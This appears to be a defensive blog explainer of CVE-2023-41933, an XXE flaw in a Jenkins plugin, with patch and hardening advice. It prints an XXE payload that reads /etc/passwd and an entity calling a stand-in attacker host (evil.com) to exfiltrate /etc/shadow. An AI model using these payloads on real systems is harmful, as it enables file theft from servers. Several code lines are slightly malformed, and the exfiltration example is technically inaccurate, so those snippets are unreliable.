CVE-2023-41933 - How a Jenkins Plugin Exposed Your Sensitive Data via XXE Attacks
When it comes to DevOps and continuous delivery, Jenkins is one of the most popular tools out there. Its flexibility and massive plugin ecosystem make it a favorite for teams around the world. But with great power comes the risk of security holes, and that’s exactly what happened with the Job Configuration History Plugin — tracked as CVE-2023-41933.
If you use Jenkins and this plugin, keep reading. We'll break down what XXE is, show you how the vulnerability works (with code!), and help you stay safe.
What’s CVE-2023-41933 All About?
CVE-2023-41933 identifies a security vulnerability in Jenkins Job Configuration History Plugin *version 1227.v7a_79fc4dc01f* and earlier. The core issue: it doesn't configure its XML parser securely, making it open to attacks called *XML External Entity (XXE) attacks*.
Why is this bad?
XXE lets attackers trick Jenkins into reading sensitive files on the server or even connecting to remote hosts, just by feeding it a cleverly crafted XML file.
What's XXE? (Simple Explanation)
XXE stands for XML External Entity. It's a problem that happens when software likes Jenkins loads an XML file and naively allows the file to "reach out" to external resources. That lets attackers sneak in instructions to read files like /etc/passwd or make unwanted HTTP requests.
In Short:
If Jenkins parses unsafe XML, it can be forced to leak your secrets.
How the Jenkins Job Configuration History Plugin Got It Wrong
The plugin tracks changes in your job configuration by saving XML files. But when these files are loaded back in, the parser doesn't turn off external entities. That’s a huge no-no!
Best practice says you should block "external entities" when parsing XML. Something like
DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl";, true);
// ...etc...
DocumentBuilder db = dbf.newDocumentBuilder();
What an Attack Could Look Like
Imagine a hacker can upload or alter a configuration XML to a location Jenkins reads. By inserting a tricky payload, they can make Jenkins fetch sensitive files.
Example XML That Launches an XXE Attack
<?xml version="1." ?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<job>
<name>&xxe;</name>
</job>
If Jenkins reads this XML, it replaces &xxe; with the content from /etc/passwd — leaking usernames and system info.
You could point the ENTITY to a (malicious) web server
<!ENTITY xxe SYSTEM "http://evil.com/steal?data=/etc/shadow">;
Now, Jenkins is used as a tool to leak files directly to an attacker!
> For educational and defensive purposes only
Say you have access to upload or modify configuration history files on a Jenkins server (maybe through another chain or a bad permission bug). Here’s a demo of how an attacker could exploit it:
Put the file in a location where Jenkins will load it as configuration history.
Leaked Info!
The sensitive content (like /etc/passwd) is now exposed in the UI, logs, or over the network.
Real-World Tools
A penetration tester or attacker might use a tool like XXE Injector to automate finding and exploiting such issues.
Update the Plugin
The maintainers fixed this bug after version 1227.v7a_79fc4dc01f. Update ASAP!
- Restrict Who Can Upload/Modify Config Files
For Further Reading
- Jenkins Security Advisory: SECURITY-3205 / CVE-2023-41933
- Common XXE Examples_Processing) (OWASP)
- Jenkins Job Configuration History Plugin
Summary
CVE-2023-41933 is a classic example of why secure defaults matter! If you’re using the Jenkins Job Configuration History Plugin, update it *now*. XXE is dangerous, but easily preventable — don’t let a simple settings miss put your sensitive backend data at risk.
Protect your pipeline, protect your data. Stay safe out there!
---
*Author: Jenkins Security Watch | Always patched, always learning*
Timeline
Published on: 09/06/2023 13:15:00 UTC
Last modified on: 09/11/2023 20:33:00 UTC